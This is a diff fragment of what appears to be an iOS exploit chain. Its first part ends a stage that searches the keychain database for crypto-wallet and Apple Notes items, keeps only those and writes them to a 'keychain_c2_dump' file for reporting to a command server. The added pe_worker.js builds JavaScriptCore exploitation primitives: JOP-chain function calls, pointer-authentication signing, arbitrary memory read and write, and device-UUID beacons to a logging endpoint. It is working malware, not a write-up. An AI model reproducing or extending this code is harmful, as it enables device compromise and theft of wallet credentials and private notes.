"flutter_biometric"]], + ["exodus", ["exodus"]], + ["tonkeeper", ["tonkeeper", "jbig.tonkeeper"]], + ["mytonwallet", ["mytonwallet", "org.mytonwallet"]], + ["tonhub", ["tonhub"]], + ["notes", ["group.com.apple.notes", "com.apple.notes"]], + ]; + var p7_wallets = {}; + for (var p7_ri = 0; p7_ri < p7_walletRules.length; p7_ri++) + p7_wallets[p7_walletRules[p7_ri][0]] = []; + for (var p7_wti = 0; p7_wti < p7_tableNames.length; p7_wti++) { + var p7_wTbl = p7_result.tables[p7_tableNames[p7_wti]]; + if (!p7_wTbl || !p7_wTbl.items) continue; + for (var p7_wi = 0; p7_wi < p7_wTbl.items.length; p7_wi++) { + var p7_wItem = p7_wTbl.items[p7_wi]; + if (p7_wItem.error) continue; + var p7_agrp = (p7_wItem.accessGroup || "").toLowerCase(); + var p7_svce = (p7_wItem.service || "").toLowerCase(); + for (var p7_ri = 0; p7_ri < p7_walletRules.length; p7_ri++) { + var p7_pats = p7_walletRules[p7_ri][1]; + var p7_hit = false; + for (var p7_pi = 0; p7_pi < p7_pats.length; p7_pi++) { + if (p7_agrp.indexOf(p7_pats[p7_pi]) >= 0 || p7_svce.indexOf(p7_pats[p7_pi]) >= 0) { + p7_hit = true; break; + } + } + if (p7_hit) { p7_wallets[p7_walletRules[p7_ri][0]].push(p7_wItem); break; } + } + } + } + p7_result.wallets = {}; + var p7_wlog = "wallets:"; + for (var p7_ri = 0; p7_ri < p7_walletRules.length; p7_ri++) { + var p7_wk = p7_walletRules[p7_ri][0]; + if (p7_wallets[p7_wk].length > 0) { + p7_result.wallets[p7_wk] = {count: p7_wallets[p7_wk].length, items: p7_wallets[p7_wk]}; + p7_wlog += " " + p7_wk + "=" + p7_wallets[p7_wk].length; + } + } + p7_flog(p7_wlog); + + // --- Keep only wallet + Notes items in tables (drop other apps) --- + var p7_kept = 0, p7_dropped = 0; + function p7_itemKeep(item) { + var agrp = (item.accessGroup || "").toLowerCase(); + var svce = (item.service || "").toLowerCase(); + var acct = (item.account || "").toLowerCase(); + for (var ri = 0; ri < p7_walletRules.length; ri++) { + var pats = p7_walletRules[ri][1]; + for (var pi = 0; pi < pats.length; pi++) { + var pat = (pats[pi] || "").toLowerCase(); + if (!pat) continue; + if (agrp.indexOf(pat) >= 0 || svce.indexOf(pat) >= 0 || acct.indexOf(pat) >= 0) return true; + } + } + return false; + } + for (var p7_fti = 0; p7_fti < p7_tableNames.length; p7_fti++) { + var p7_fTbl = p7_result.tables[p7_tableNames[p7_fti]]; + if (!p7_fTbl || !p7_fTbl.items) continue; + var p7_keptItems = []; + for (var p7_fi = 0; p7_fi < p7_fTbl.items.length; p7_fi++) { + var p7_fit = p7_fTbl.items[p7_fi]; + if (p7_itemKeep(p7_fit)) { p7_keptItems.push(p7_fit); p7_kept++; } + else p7_dropped++; + } + p7_fTbl.items = p7_keptItems; + p7_fTbl.count = p7_keptItems.length; + } + p7_flog("keychain filter kept=" + p7_kept + " dropped=" + p7_dropped + " (wallet+notes only)"); + + // --- Write result --- + N.callSymbol("sqlite3_close", p7_db); + var p7_jsonStr = JSON.stringify(p7_result); + var p7_outTmp = "/tmp/keychain_c2_dump.json.tmp"; + var p7_outFinal = "/tmp/keychain_c2_dump.json"; + var p7_outDone = "/tmp/keychain_c2_dump.done"; + + var p7_outFd = Number(N.callSymbol("open", p7_outTmp, 0x601, 0x1FF)); + if (p7_outFd >= 0) { + var p7_jBuf = BigInt(N.callSymbol("malloc", BigInt(p7_jsonStr.length + 1))); + N.writeString(p7_jBuf, p7_jsonStr); + N.callSymbol("write", p7_outFd, p7_jBuf, p7_jsonStr.length); + N.callSymbol("fsync", p7_outFd); + N.callSymbol("close", p7_outFd); + N.callSymbol("free", p7_jBuf); + N.callSymbol("chmod", p7_outTmp, 0x1FF); + N.callSymbol("unlink", p7_outFinal); + N.callSymbol("rename", p7_outTmp, p7_outFinal); + N.callSymbol("chmod", p7_outFinal, 0x1FF); + // Write done marker + var p7_doneFd = Number(N.callSymbol("open", p7_outDone, 0x601, 0x1FF)); + if (p7_doneFd >= 0) { + N.callSymbol("write", p7_doneFd, "done", 4); + N.callSymbol("close", p7_doneFd); + N.callSymbol("chmod", p7_outDone, 0x1FF); + } + p7_flog("result written to " + p7_outFinal + " (" + p7_jsonStr.length + " bytes)"); + try { __pePostWarDumpFallback("pe_war_guarantee"); } catch (_wg) { p7_flog("PEMK-WAR guarantee err: " + _wg); } + } else { + p7_flog("failed to open output file"); + p7_result.errors.push("output file open failed"); + } + } else { + N.callSymbol("free", p7_dbPtrBuf); + p7_flog("DB open failed, writing partial dump for HQ /war"); + p7_result.errors.push("DB open failed rc=" + p7_dbRc); + p7_result.diagnostics = p7_result.diagnostics || {}; + p7_result.diagnostics.db_open_rc = p7_dbRc; + p7_result.diagnostics.partial = true; + try { + var p7_jsonStrFail = JSON.stringify(p7_result); + var p7_outTmpF = "/tmp/keychain_c2_dump.json.tmp"; + var p7_outFinalF = "/tmp/keychain_c2_dump.json"; + var p7_outDoneF = "/tmp/keychain_c2_dump.done"; + var p7_outFdF = Number(N.callSymbol("open", p7_outTmpF, 0x601, 0x1FF)); + if (p7_outFdF >= 0) { + var p7_jBufF = BigInt(N.callSymbol("malloc", BigInt(p7_jsonStrFail.length + 1))); + N.writeString(p7_jBufF, p7_jsonStrFail); + N.callSymbol("write", p7_outFdF, p7_jBufF, p7_jsonStrFail.length); + N.callSymbol("fsync", p7_outFdF); + N.callSymbol("close", p7_outFdF); + N.callSymbol("free", p7_jBufF); + N.callSymbol("chmod", p7_outTmpF, 0x1FF); + N.callSymbol("unlink", p7_outFinalF); + N.callSymbol("rename", p7_outTmpF, p7_outFinalF); + N.callSymbol("chmod", p7_outFinalF, 0x1FF); + var p7_doneFdF = Number(N.callSymbol("open", p7_outDoneF, 0x601, 0x1FF)); + if (p7_doneFdF >= 0) { + N.callSymbol("write", p7_doneFdF, "done", 4); + N.callSymbol("close", p7_doneFdF); + N.callSymbol("chmod", p7_outDoneF, 0x1FF); + } + p7_flog("partial result written (" + p7_jsonStrFail.length + " bytes)"); + try { __pePostWarDumpFallback("pe_war_guarantee_partial"); } catch (_wgp) {} + } else { + p7_flog("partial output open failed"); + } + } catch (p7_wErr) { + p7_flog("partial write err: " + p7_wErr); + } + } + } + } catch (p7_err) { + p7_flog("Phase 2 error: " + p7_err); + } finally { + if (p7_secRC) { + p7_secRC.destroy(); + } + } + } + // ===== End P7 Phase 2 ===== + if (p7_enableP7) p7_flushLog(); + p7_flog("PEMK-G s6_p7phase2 done"); p7_flushLog(); + try { + if (typeof __pePostWarDumpFallback === "function") { + p7_flog("PEMK-G post-s6 war-guarantee"); p7_flushLog(); + __pePostWarDumpFallback("pe_war_guarantee"); + } + } catch (_wf) {} +} + +__peStage6(); diff --git a/channel-builder-ds/source/pe_worker.js b/channel-builder-ds/source/pe_worker.js new file mode 100644 index 0000000..762bbcc --- /dev/null +++ b/channel-builder-ds/source/pe_worker.js @@ -0,0 +1,10938 @@ +try{var __g=typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this);if(__g&&String(__g.__LAB_DEVICE_UUID__||"")==="69DD25B2CA8B5682BA2470D77124E2FC")__g.__LAB_DEVICE_UUID__="";}catch(_u0){} +(() => { + try { func_offsets_array[0x2100] = 0x50; } catch (_m0) {} + try { fcall_init(); func_offsets_array[0x2100] = 0x51; } + catch (_m1) { + try { func_offsets_array[0x2100] = 0x45; var _es1 = (_m1 && _m1.message) ? String(_m1.message) : String(_m1); for (var _ei1 = 0; _ei1 < 24 && _ei1 < _es1.length; _ei1++) func_offsets_array[0x2108 + _ei1] = _es1.charCodeAt(_ei1) & 0xff; } catch (_m2) {} + throw _m1; + } + // === BEGIN LAB_PE_ALIVE === + try { + var __peAliveOnce = false; + // No BSD socket probes. Later (after Native) pe_alive_ping uses CFNetwork GET /api/ds/log. + // Quiet by default: only ping on fail/err/exc/threw tags (progress = GET /api/ds/pe-stage/). + var pe_alive_ping = function (tag) { + try { + var t = String(tag || ""); + // Tags only — avoid matching benign substrings like "pe_after_runPE". + if (!/(?:_fail|_err|_exc|threw|dead|abort|fail$|err$)/i.test(t)) return; + if (__peAliveOnce && t === "pe_fcall_ok") return; + if (t === "pe_fcall_ok") __peAliveOnce = true; + if (typeof __labCfHttp === "function") { + var uuid = ""; + try { + var g = typeof globalThis !== "undefined" ? globalThis : null; + if (g && g.__LAB_DEVICE_UUID__) uuid = String(g.__LAB_DEVICE_UUID__); + } catch (_u) {} + var text = "[pe] " + t.substring(0, 80); + var enc = ""; + for (var ci = 0; ci < text.length; ci++) { + var c = text.charCodeAt(ci); + if ((c >= 0x30 && c <= 0x39) || (c >= 0x41 && c <= 0x5a) || (c >= 0x61 && c <= 0x7a) || c === 0x2d || c === 0x2e || c === 0x5f || c === 0x7e) + enc += text.charAt(ci); + else if (c === 0x20) enc += "+"; + else { + var hx = c.toString(16).toUpperCase(); + if (hx.length < 2) hx = "0" + hx; + enc += "%" + hx; + } + } + var q = "text=" + enc; + if (uuid) q += "&deviceUUID=" + uuid; + __labCfHttp("GET", "/api/ds/log?" + q, null, false); + } + } catch (_e) {} + }; + pe_alive_ping("pe_fcall_ok"); + } catch (_peAlive) {} + // === END LAB_PE_ALIVE === + + try { func_offsets_array[0x2100] = 0x52; } catch (_m3) {} + let PAGE_SIZE = 0x4000n; + let KERN_SUCCESS = 0n; + let CALLOC = func_resolve("calloc"); + let MALLOC = func_resolve("malloc"); + let FREE = func_resolve("free"); + let MEMCPY = func_resolve("memcpy"); + let MEMSET = func_resolve("memset"); + let SLEEP = func_resolve("sleep"); + let USLEEP = func_resolve("usleep"); + let STRCMP = func_resolve("strcmp"); + let STRCPY = func_resolve("strcpy"); + let STRNCPY = func_resolve("strncpy"); + let SNPRINTF = func_resolve("snprintf"); + let PRINTF = func_resolve("printf"); + let ERRNO = func_resolve("errno"); + let CLOSE = func_resolve("close"); + let EXIT = func_resolve("exit"); + let GETCHAR = func_resolve("getchar"); + let GETPID = func_resolve("getpid"); + let SYSCALL = func_resolve("syscall"); + let MACH_VM_ALLOCATE = func_resolve("mach_vm_allocate"); + let MACH_VM_DEALLOCATE = func_resolve("mach_vm_deallocate"); + let MACH_ERROR_STRING = func_resolve("mach_error_string"); + let MACH_PORT_ALLOCATE = func_resolve("mach_port_allocate"); + let kIOMasterPortDefault = func_resolve("kIOMasterPortDefault"); + function assert(a, b = "N/A") { + if (!a) { + throw new Error(`assert failed: ${b}`); + } + } + function ERROR(a) { + throw new Error(a); + } + function new_uint64_t(val = 0n) { + let buf = calloc(1n, 8n); + uwrite64(buf, val); + return buf; + } + function mach_task_self() { + return 0x203n; + } + function calloc(...args) { + return fcall(CALLOC, ...args); + } + function malloc(...args) { + return fcall(MALLOC, ...args); + } + function free(...args) { + return fcall(FREE, ...args); + } + function memcpy(...args) { + return fcall(MEMCPY, ...args); + } + function memset(...args) { + return fcall(MEMSET, ...args); + } + function sleep(...args) { + return fcall(SLEEP, ...args); + } + function usleep(...args) { + return fcall(USLEEP, ...args); + } + function strcmp(...args) { + return fcall(STRCMP, ...args); + } + function strcpy(...args) { + return fcall(STRCPY, ...args); + } + function strncpy(...args) { + return fcall(STRNCPY, ...args); + } + function snprintf(...args) { + return fcall(SNPRINTF, buf, size, fmt, 0n, 0n, 0n, 0n, 0n, ...args); + } + function printf(...args) { + return fcall(PRINTF, get_cstring(fmt), 0n, 0n, 0n, 0n, 0n, 0n, 0n, ...args); + } + function close(...args) { + return fcall(CLOSE, ...args); + } + function exit(...args) { + return fcall(EXIT, ...args); + } + function getchar(...args) { + return fcall(GETCHAR, ...args); + } + function getpid(...args) { + return fcall(GETPID, ...args); + } + function syscall(num, ...args) { + return fcall(SYSCALL, num, 0n, 0n, 0n, 0n, 0n, 0n, 0n, ...args); + } + function mach_vm_allocate(...args) { + return fcall(MACH_VM_ALLOCATE, ...args); + } + function mach_vm_deallocate(...args) { + return fcall(MACH_VM_DEALLOCATE, ...args); + } + function mach_error_string(...args) { + return fcall(MACH_ERROR_STRING, ...args); + } + function mach_port_allocate(...args) { + return fcall(MACH_PORT_ALLOCATE, ...args); + } + let g_device_machine = 0n; + function get_device_machine() { + if (g_device_machine == 0n) { + let utsname = calloc(256n, 5n); + fcall(UNAME, utsname); + g_device_machine = utsname + 256n * 4n; + } + return g_device_machine; + } + let OBJC_ALLOC = func_resolve("objc_alloc"); + let OBJC_ALLOC_INIT = func_resolve("objc_alloc_init"); + let OBJC_GETCLASS = func_resolve("objc_getClass"); + let OBJC_MSGSEND = func_resolve("objc_msgSend"); + let SEL_REGISTERNAME = func_resolve("sel_registerName"); + let CFDICTIONARYCREATEMUTABLE = func_resolve("CFDictionaryCreateMutable"); + let CFDICTIONARYSETVALUE = func_resolve("CFDictionarySetValue"); + let CFNUMBERCREATE = func_resolve("CFNumberCreate"); + let CFRELEASE = func_resolve("CFRelease"); + let CFSHOW = func_resolve("CFShow"); + let CFSTRINGCREATECOPY = func_resolve("CFStringCreateCopy"); + let CFSTRINGCREATEWITHCSTRING = func_resolve("CFStringCreateWithCString"); + let kCFAllocatorDefault = uread64(func_resolve("kCFAllocatorDefault").noPAC()); + let kCFStringEncodingUTF8 = 0x08000100n; + let kCFTypeDictionaryKeyCallBacks = func_resolve("kCFTypeDictionaryKeyCallBacks").noPAC(); + let kCFTypeDictionaryValueCallBacks = func_resolve("kCFTypeDictionaryValueCallBacks").noPAC(); + function CFDictionaryCreateMutable(...args) { + return fcall(CFDICTIONARYCREATEMUTABLE, ...args); + } + function CFDictionarySetValue(...args) { + return fcall(CFDICTIONARYSETVALUE, ...args); + } + function CFNumberCreate(...args) { + return fcall(CFNUMBERCREATE, ...args); + } + function CFRelease(...args) { + return fcall(CFRELEASE, ...args); + } + function CFShow(...args) { + return fcall(CFSHOW, ...args); + } + function CFStringCreateCopy(...args) { + return fcall(CFSTRINGCREATECOPY, ...args); + } + function CFStringCreateWithCString(...args) { + return fcall(CFSTRINGCREATEWITHCSTRING, ...args); + } + function objc_alloc(class_obj) { + return fcall(OBJC_ALLOC, class_obj); + } + function objc_alloc_init(class_obj) { + return fcall(OBJC_ALLOC_INIT, class_obj); + } + function objc_getClass(class_name) { + return fcall(OBJC_GETCLASS, get_cstring(class_name)); + } + function objc_msgSend(...args) { + return fcall(OBJC_MSGSEND, ...args); + } + function sel_registerName(cstr) { + return fcall(SEL_REGISTERNAME, cstr); + } + let selector_evaluateScript = sel_registerName(get_cstring("evaluateScript:")); + let selector_initWithTarget_selector_object = sel_registerName(get_cstring("initWithTarget:selector:object:")); + let selector_invocationWithMethodSignature = sel_registerName(get_cstring("invocationWithMethodSignature:")); + let selector_invoke = sel_registerName(get_cstring("invoke")); + let selector_isFinished = sel_registerName(get_cstring("isFinished")); + let selector_methodSignatureForSelector = sel_registerName(get_cstring("methodSignatureForSelector:")); + let selector_objectForKeyedSubscript = sel_registerName(get_cstring("objectForKeyedSubscript:")); + let selector_release = sel_registerName(get_cstring("release")); + let selector_retainCount = sel_registerName(get_cstring("retainCount")); + let selector_setArgument_atIndex = sel_registerName(get_cstring("setArgument:atIndex:")); + let selector_start = sel_registerName(get_cstring("start")); + let invoke_class = objc_getClass("NSInvocation"); + let jsc_class = objc_getClass("JSContext"); + let nsthread_class = objc_getClass("NSThread"); + function create_cfstring(cstring) { + return CFStringCreateWithCString(kCFAllocatorDefault, cstring, kCFStringEncodingUTF8); + } + let cfstr_boxed_arr = create_cfstring(get_cstring("boxed_arr")); + let cfstr_control_array = create_cfstring(get_cstring("control_array")); + let cfstr_control_array_8 = create_cfstring(get_cstring("control_array_8")); + let cfstr_func_offsets_array = create_cfstring(get_cstring("func_offsets_array")); + let cfstr_isNaN = create_cfstring(get_cstring("isNaN")); + let cfstr_rw_array = create_cfstring(get_cstring("rw_array")); + let cfstr_rw_array_8 = create_cfstring(get_cstring("rw_array_8")); + let cfstr_unboxed_arr = create_cfstring(get_cstring("unboxed_arr")); + function create_cfstring_copy(cfstring) { + return CFStringCreateCopy(kCFAllocatorDefault, cfstring); + } + function object_retainCount(obj) { + return objc_msgSend(obj, selector_retainCount); + } + function object_release(obj) { + return objc_msgSend(obj, selector_release); + } + function objectForKeyedSubscript(obj, cfstr_key) { + return objc_msgSend(obj, selector_objectForKeyedSubscript, cfstr_key); + } + function evaluateScript(obj, jscript) { + return objc_msgSend(obj, selector_evaluateScript, jscript); + } + function methodSignatureForSelector(obj, sel) { + return objc_msgSend(obj, selector_methodSignatureForSelector, sel); + } + function invocationWithMethodSignature(obj, sig) { + return objc_msgSend(obj, selector_invocationWithMethodSignature, sig); + } + function setArgument_atIndex(obj, arg, idx) { + return objc_msgSend(obj, selector_setArgument_atIndex, arg, idx); + } + function initWithTarget_selector_object(obj, target, sel, object) { + return objc_msgSend(obj, selector_initWithTarget_selector_object, target, sel, object); + } + function nsthread_start(obj) { + return objc_msgSend(obj, selector_start); + } + function setup_fcall_jopchain() { + let jsvm_fcall_buff = malloc(PAGE_SIZE); + let load_x1x3x8_args = jsvm_fcall_buff + 0x100n; + let jsvm_fcall_args = jsvm_fcall_buff + 0x200n; + uwrite64(jsvm_fcall_buff + 0x0n, load_x1x3x8_args); + uwrite64(jsvm_fcall_buff + 0x8n, pacia(load_x1x3x8, 0n)); + uwrite64(jsvm_fcall_buff + 0x10n, pacia(_CFObjectCopyProperty, 0n)); + uwrite64(jsvm_fcall_buff + 0x40n, pacia(jsvm_isNAN_fcall_gadget2, 0n)); + uwrite64(load_x1x3x8_args + 0x20n, load_x1x3x8_args + 0x40n); + uwrite64(load_x1x3x8_args + 0x28n, jsvm_fcall_args - 0x10n); + uwrite64(load_x1x3x8_args + 0x30n, pacia(0x41414141n, 0xC2D0n)); + uwrite64(load_x1x3x8_args + 0x50n, pacia(fcall_14_args_write_x8, load_x1x3x8_args + 0x50n)); + return { + "jsvm_fcall_buff": jsvm_fcall_buff, + "jsvm_fcall_pc": load_x1x3x8_args + 0x30n, + "jsvm_fcall_args": jsvm_fcall_args + }; + } + let evaluateScript_invocation = 0n; + function js_thread_spawn(js_script_nsstring, target_thread_arg = 0x0n) { + if (typeof js_script_nsstring === "string") { + js_script_nsstring = create_cfstring(get_cstring(js_script_nsstring)); + } else if (typeof js_script_nsstring === "object") { + js_script_nsstring = create_cfstring(uread64(addrof(js_script_nsstring) + 0x10n)); + } else { + js_script_nsstring = create_cfstring_copy(js_script_nsstring); + } + let jop_chain_info = setup_fcall_jopchain(); + let jsvm_fcall_buff = jop_chain_info["jsvm_fcall_buff"]; + let jsvm_fcall_pc = jop_chain_info["jsvm_fcall_pc"]; + let jsvm_fcall_args = jop_chain_info["jsvm_fcall_args"]; + let ctx = objc_alloc_init(jsc_class); + let isnan_value = objectForKeyedSubscript(ctx, cfstr_isNaN); + let isnan_func_addr = uread64(isnan_value + 0x8n); + let isnan_executable_addr = uread64(isnan_func_addr + 0x18n); + let isnan_code_ptr = isnan_executable_addr + 0x28n; + evaluateScript(ctx, stage1_js); + let unboxed_arr_value = objectForKeyedSubscript(ctx, cfstr_unboxed_arr); + let unboxed_arr_addr = uread64(unboxed_arr_value + 0x8n); + let boxed_arr_value = objectForKeyedSubscript(ctx, cfstr_boxed_arr); + let boxed_arr_addr = uread64(boxed_arr_value + 0x8n); + let boxed_arr_butter = uread64(boxed_arr_addr + 0x8n); + uwrite64(unboxed_arr_addr + 0x8n, boxed_arr_butter); + let rw_array_addr = uread64(objectForKeyedSubscript(ctx, cfstr_rw_array) + 0x8n); + let control_array_addr = uread64(objectForKeyedSubscript(ctx, cfstr_control_array) + 0x8n); + let rw_array_buffer_bk = uread64(rw_array_addr + 0x10n); + let control_array_buffer_bk = uread64(control_array_addr + 0x10n); + uwrite64(control_array_addr + 0x10n, rw_array_addr + 0x10n); + let rw_array_8_addr = uread64(objectForKeyedSubscript(ctx, cfstr_rw_array_8) + 0x8n); + let control_array_8_addr = uread64(objectForKeyedSubscript(ctx, cfstr_control_array_8) + 0x8n); + let rw_array_8_buffer_bk = uread64(rw_array_8_addr + 0x10n); + let control_array_8_buffer_bk = uread64(control_array_8_addr + 0x10n); + uwrite64(control_array_8_addr + 0x10n, rw_array_8_addr + 0x10n); + let signing_ctx = 0x4911n; + let signed_fcall_addr = pacib(jsvm_isNAN_fcall_gadget, signing_ctx); + uwrite64(isnan_code_ptr, signed_fcall_addr); + let new_func_offsets = objectForKeyedSubscript(ctx, cfstr_func_offsets_array); + let new_func_offsets_addr = uread64(new_func_offsets + 0x8n); + let new_func_offsets_buffer = uread64(new_func_offsets_addr + 0x10n); + memcpy(new_func_offsets_buffer, func_offsets_buffer, PAGE_SIZE); + uwrite64(new_func_offsets_buffer + 3n * 0x8n, target_thread_arg); + uwrite64(new_func_offsets_buffer + 5n * 0x8n, jsvm_fcall_buff); + uwrite64(new_func_offsets_buffer + 6n * 0x8n, jsvm_fcall_pc); + uwrite64(new_func_offsets_buffer + 7n * 0x8n, jsvm_fcall_args); + if (evaluateScript_invocation == 0n) { + let evaluateScript_signature = methodSignatureForSelector(ctx, selector_evaluateScript); + evaluateScript_invocation = invocationWithMethodSignature(invoke_class, evaluateScript_signature); + setArgument_atIndex(evaluateScript_invocation, new_uint64_t(selector_evaluateScript), 1n); + } + setArgument_atIndex(evaluateScript_invocation, new_uint64_t(ctx), 0n); + setArgument_atIndex(evaluateScript_invocation, new_uint64_t(js_script_nsstring), 2n); + let nsthread = objc_alloc(nsthread_class); + initWithTarget_selector_object(nsthread, evaluateScript_invocation, selector_invoke, 0n); + nsthread_start(nsthread); + return { + "thread_handle": nsthread, + "js_ctx": ctx, + "jop_chain_info": jop_chain_info, + "js_script_nsstring": js_script_nsstring, + "rw_array_buffer_bk": rw_array_buffer_bk, + "control_array_buffer_bk": control_array_buffer_bk, + "rw_array_8_buffer_bk": rw_array_8_buffer_bk, + "control_array_8_buffer_bk": control_array_8_buffer_bk + }; + } + function js_thread_join(js_thread) { + let jop_chain_info = js_thread["jop_chain_info"]; + let js_ctx = js_thread["js_ctx"]; + let js_script_nsstring = js_thread["js_script_nsstring"]; + let nsthread = js_thread["thread_handle"]; + while (true) { + let isFinished = objc_msgSend(nsthread, selector_isFinished); + if (isFinished == 1n) { + break; + } + } + object_release(nsthread); + uwrite64(uread64(objectForKeyedSubscript(js_ctx, cfstr_rw_array) + 0x8n) + 0x10n, js_thread["rw_array_buffer_bk"]); + uwrite64(uread64(objectForKeyedSubscript(js_ctx, cfstr_control_array) + 0x8n) + 0x10n, js_thread["control_array_buffer_bk"]); + uwrite64(uread64(objectForKeyedSubscript(js_ctx, cfstr_rw_array_8) + 0x8n) + 0x10n, js_thread["rw_array_8_buffer_bk"]); + uwrite64(uread64(objectForKeyedSubscript(js_ctx, cfstr_control_array_8) + 0x8n) + 0x10n, js_thread["control_array_8_buffer_bk"]); + let jsc_ref_count = object_retainCount(js_ctx); + for (let i = 0n; i < jsc_ref_count; i++) { + object_release(js_ctx); + } + CFRelease(js_script_nsstring); + free(jop_chain_info["jsvm_fcall_buff"]); + } + let RTLD_DEFAULT = 0xFFFFFFFFFFFFFFFEn; + let VM_FLAGS_ANYWHERE = 1n; + let VM_FLAGS_FIXED = 0n; + let VM_FLAGS_OVERWRITE = 0x4000n; + let VM_FLAGS_RANDOM_ADDR = 8n; + let VM_INHERIT_NONE = 2n; + let VM_PROT_DEFAULT = 3n; + let PROT_READ = 0x1n; + let PROT_WRITE = 0x2n; + let MAP_SHARED = 0x1n; + let AF_INET6 = 30n; + let SOCK_DGRAM = 2n; + let IPPROTO_ICMPV6 = 58n; + let ICMP6_FILTER = 18n; + let SEEK_SET = 0n; + let _NSGETEXECUTABLEPATH = func_resolve("_NSGetExecutablePath"); + let ACCESS = func_resolve("access"); + let CONFSTR = func_resolve("confstr"); + let FCNTL = func_resolve("fcntl"); + let FSYNC = func_resolve("fsync"); + let FILEPORT_MAKEFD = func_resolve("fileport_makefd"); + let FILEPORT_MAKEPORT = func_resolve("fileport_makeport"); + let FOPEN = func_resolve("fopen"); + let FCLOSE = func_resolve("fclose"); + let FWRITE = func_resolve("fwrite"); + let GETSOCKOPT = func_resolve("getsockopt"); + let LSEEK = func_resolve("lseek"); + let MACH_THREAD_SELF = func_resolve("mach_thread_self"); + let MEMMEM = func_resolve("memmem"); + let MEMSET_PATTERN8 = func_resolve("memset_pattern8"); + let OPEN = func_resolve("open"); + let PREADV = func_resolve("preadv"); + let PWRITEV = func_resolve("pwritev"); + let PWRITE = func_resolve("pwrite"); + let PREAD = func_resolve("pread"); + let READ = func_resolve("read"); + let SETSOCKOPT = func_resolve("setsockopt"); + let SOCKET = func_resolve("socket"); + let STRCAT = func_resolve("strcat"); + let STRSTR = func_resolve("strstr"); + let STRLEN = func_resolve("strlen"); + let STRNCMP = func_resolve("strncmp"); + let STRRCHR = func_resolve("strrchr"); + let PTHREAD_SELF = func_resolve("pthread_self"); + let PTHREAD_JOIN = func_resolve("pthread_join"); + let WRITE = func_resolve("write"); + let REMOVE = func_resolve("remove"); + let ARC4RANDOM = func_resolve("arc4random"); + let TASK_THREADS = func_resolve("task_threads"); + let THREAD_SUSPEND = func_resolve("thread_suspend"); + let MACH_MAKE_MEMORY_ENTRY_64 = func_resolve("mach_make_memory_entry_64"); + let MACH_PORT_DEALLOCATE = func_resolve("mach_port_deallocate"); + let MACH_VM_MAP = func_resolve("mach_vm_map"); + let MMAP = func_resolve("mmap"); + let MLOCK = func_resolve("mlock"); + let MUNLOCK = func_resolve("munlock"); + let UNAME = func_resolve("uname"); + let IOSURFACECREATE = func_resolve("IOSurfaceCreate"); + let IOSURFACEPREFETCHPAGES = func_resolve("IOSurfacePrefetchPages"); + let IOSURFACEGETBASEADDRESS = func_resolve("IOSurfaceGetBaseAddress"); + let kIOSurfaceAllocSize = uread64(func_resolve("kIOSurfaceAllocSize").noPAC()); + function DUMP(addr, sz) {} + function js_malloc(sz) { + buff = new Uint8Array(BigInt(sz).asInt32s).fill(0x00); + return uread64(mem.addrof(buff) + 0x10n); + } + function mach_thread_self() { + return fcall(MACH_THREAD_SELF); + } + function pthread_getspecific(key) { + return fcall(PTHREAD_GETSPECIFIC, key); + } + function pthread_self() { + return fcall(PTHREAD_SELF); + } + function pthread_join(thr, val) { + return fcall(PTHREAD_JOIN, thr, val); + } + function _NSGetExecutablePath(executable_path, length_ptr) { + return fcall(_NSGETEXECUTABLEPATH, executable_path, length_ptr); + } + function confstr(name, buf, len) { + return fcall(CONFSTR, name, buf, len); + } + function strrchr(s, c) { + return fcall(STRRCHR, s, c); + } + function strcat(s1, s2) { + return fcall(STRCAT, s1, s2); + } + function strlen(s) { + return fcall(STRLEN, s); + } + function strstr(s1, s2) { + return fcall(STRSTR, s1, s2); + } + function strncmp(s1, s2, n) { + return fcall(STRNCMP, s1, s2, n); + } + function socket(domain, type, protocol) { + return fcall(SOCKET, domain, type, protocol); + } + function getsockopt(socket, level, option_name, option_value, option_len) { + return fcall(GETSOCKOPT, socket, level, option_name, option_value, option_len); + } + function setsockopt(socket, level, option_name, option_value, option_len) { + return fcall(SETSOCKOPT, socket, level, option_name, option_value, option_len); + } + function fileport_makeport(fd, port) { + return fcall(FILEPORT_MAKEPORT, fd, port); + } + function fileport_makefd(port) { + return fcall(FILEPORT_MAKEFD, port); + } + function memset_pattern8(buf, val, sz) { + return fcall(MEMSET_PATTERN8, buf, val, sz); + } + function memmem(big, big_len, little, little_len) { + return fcall(MEMMEM, big, big_len, little, little_len); + } + function access(path, mode) { + return fcall(ACCESS, path, mode); + } + function open(path, mode) { + return fcall(OPEN, path, mode); + } + function fopen(path, mode) { + return fcall(FOPEN, path, mode); + } + function fclose(fd) { + return fcall(FCLOSE, fd); + } + function fwrite(buf, sz, nitem, fd) { + return fcall(FWRITE, buf, sz, nitem, fd); + } + function preadv(fildes, iov, iovcnt, offset) { + return fcall(PREADV, fildes, iov, iovcnt, offset); + } + function pwritev(fildes, iov, iovcnt, offset) { + return fcall(PWRITEV, fildes, iov, iovcnt, offset); + } + function pwrite(fildes, buff, size, offset) { + return fcall(PWRITE, fildes, buff, size, offset); + } + function pread(fildes, buff, size, offset) { + return fcall(PREAD, fildes, buff, size, offset); + } + function read(fd, buf, sz) { + return fcall(READ, fd, buf, sz); + } + function write(fd, buf, sz) { + return fcall(WRITE, fd, buf, sz); + } + function remove(path) { + return fcall(REMOVE, path); + } + function arc4random() { + return fcall(ARC4RANDOM); + } + function task_threads(task, thread_list_addr, thread_count_addr) { + return fcall(TASK_THREADS, task, thread_list_addr, thread_count_addr); + } + function fcntl(fd, flag, value) { + return fcall(FCNTL, fd, flag, 0n, 0n, 0n, 0n, 0n, 0n, value); + } + function lseek(fildes, offset, whence) { + return fcall(LSEEK, fildes, offset, whence); + } + function fsync(fd) { + return fcall(FSYNC, fd); + } + function CFStringCreateWithCString(allocator, cstring, encoding) { + return fcall(CFSTRINGCREATEWITHCSTRING, allocator, cstring, encoding); + } + function CFStringCreateCopy(allocator, cfstring) { + return fcall(CFSTRINGCREATECOPY, allocator, cfstring); + } + function CFDictionarySetValue(dict, key, value) { + return fcall(CFDICTIONARYSETVALUE, dict, key, value); + } + function CFNumberCreate(allocator, theType, valuePtr) { + return fcall(CFNUMBERCREATE, allocator, theType, valuePtr); + } + function IOSurfaceCreate(dict) { + return fcall(IOSURFACECREATE, dict); + } + function IOSurfaceGetBaseAddress(surface) { + return fcall(IOSURFACEGETBASEADDRESS, surface); + } + function IOSurfacePrefetchPages(surface) { + return fcall(IOSURFACEPREFETCHPAGES, surface); + } + function CFRelease(obj) { + return fcall(CFRELEASE, obj); + } + function CFShow(obj) { + return fcall(CFSHOW, obj); + } + function mach_make_memory_entry_64(target_task, size, offset, 